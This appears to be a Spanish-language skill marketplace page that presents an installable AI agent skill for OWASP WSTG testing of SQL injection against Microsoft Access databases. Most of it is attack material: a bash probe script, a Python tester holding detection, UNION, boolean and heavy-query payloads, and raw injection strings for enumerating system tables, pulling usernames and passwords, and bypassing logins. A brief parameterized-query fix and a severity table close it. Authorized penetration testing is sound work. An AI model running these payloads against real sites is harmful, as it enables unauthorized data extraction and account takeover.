Menú
De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.
Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Un comando directo omite el prompt de revisión. Revisa el origen antes de ejecutarlo.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-5El comando permanece en una sola línea. Desplázate horizontalmente para revisarlo antes de copiarlo.
¿Prefieres una copia local? Descarga los archivos que SkillsMP tiene disponibles ahora.
Basado en la clasificación ocupacional SOC
Mostrando SKILL.md
| name | wstg-inpv-05.5 |
| description | Testing for SQL Injection - MS Access |
| category | input-validation |
| owasp_id | WSTG-INPV-05.5 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.5
Testing for SQL Injection - MS Access
Microsoft Access SQL injection testing targets Access databases (Jet/ACE engine) often used in legacy or small-scale web applications. Access has limited features compared to enterprise databases but can still be exploited for data extraction and authentication bypass.
#!/bin/bash
TARGET="https://target.com/product?id="
echo "[*] Testing for MS Access database..."
# Error-based detection
curl -s "${TARGET}'" | grep -iE "Microsoft Access|JET Database|ODBC Microsoft Access|\.mdb"
# Access-specific syntax test
curl -s "${TARGET}' AND IIF(1=1,1,0)=1--"
# TOP keyword (Access uses TOP not LIMIT)
curl -s "${TARGET}' UNION SELECT TOP 1 NULL--"
#!/usr/bin/env python3
"""
MS Access SQL Injection Tester
"""
import requests
import re
class AccessSQLiTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
# MS Access error patterns
ACCESS_ERRORS = [
r"Microsoft Access Driver",
r"JET Database Engine",
r"Access Database Engine",
r"ODBC Microsoft Access",
r"Syntax error in query expression",
r"Operation must use an updateable query",
r"\.mdb",
r"\.accdb",
]
# Access-specific payloads
ACCESS_PAYLOADS = {
'detection': [
"' AND IIF(1=1,1,0)=1--",
"' UNION SELECT NULL FROM MSysObjects--",
],
'union_based': [
"' UNION SELECT NULL--",
"' UNION SELECT NULL,NULL--",
"' UNION SELECT NULL,NULL,NULL--",
],
'boolean_based': [
("' AND 1=1--", "' AND 1=2--"),
("' AND IIF(1=1,1,0)=1--", "' AND IIF(1=2,1,0)=1--"),
],
'time_based': [
# Access doesn't have sleep, use heavy queries
"' AND (SELECT COUNT(*) FROM MSysObjects AS T1, MSysObjects AS T2, MSysObjects AS T3)>0--",
],
}
def detect_access(self, param):
"""Detect if backend is MS Access"""
print(f"[*] Detecting MS Access database...")
for payload in self.ACCESS_PAYLOADS['detection']:
try:
response = self.session.get(self.url, params={param: payload})
for pattern in self.ACCESS_ERRORS:
if re.search(pattern, response.text, re.IGNORECASE):
print(f"[+] MS Access database detected!")
return True
except Exception as e:
pass
return False
def test_union_based(self, param):
"""Test Access UNION-based injection"""
print(f"\n[*] Testing MS Access UNION-based injection...")
for payload in self.ACCESS_PAYLOADS['union_based']:
try:
response = self.session.get(self.url, params={param: payload})
if response.status_code == 200:
has_error = False
for pattern in self.ACCESS_ERRORS:
if re.search(pattern, response.text):
has_error = True
break
if not has_error:
print(f"[+] UNION injection possible!")
self.findings.append({
'type': 'MS Access UNION-based SQLi',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def run_tests(self, param='id'):
"""Run all Access SQLi tests"""
if self.detect_access(param):
self.test_union_based(param)
self.generate_report()
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*50)
print("MS ACCESS SQL INJECTION REPORT")
print("="*50)
if not self.findings:
print("\nNo MS Access SQLi vulnerabilities found.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
# Usage
tester = AccessSQLiTester("https://target.com/product")
tester.run_tests(param='id')
-- List Tables (requires access to system tables)
SELECT Name FROM MSysObjects WHERE Type=1
-- Extract Data
' UNION SELECT TOP 1 username,password,NULL FROM users--
-- Authentication Bypass
' OR '1'='1
admin'--
-- IIF conditional
' AND IIF((SELECT TOP 1 username FROM users)='admin',1,0)=1--
-- Note: Access has limited functionality
-- No stacked queries
-- No sleep function
-- No file operations
' VBScript/ASP - Parameterized queries
Dim cmd
Set cmd = Server.CreateObject("ADODB.Command")
cmd.ActiveConnection = conn
cmd.CommandText = "SELECT * FROM users WHERE id = ?"
cmd.Parameters.Append cmd.CreateParameter("id", 3, 1, , userId)
Set rs = cmd.Execute()
| Finding | CVSS | Severity |
|---|---|---|
| MS Access SQLi data extraction | 7.5 | High |
| MS Access auth bypass | 8.1 | High |
| CWE ID | Title |
|---|---|
| CWE-89 | SQL Injection |
[ ] MS Access database detected
[ ] UNION-based injection tested
[ ] Boolean-based injection tested
[ ] System tables accessed
[ ] Findings documented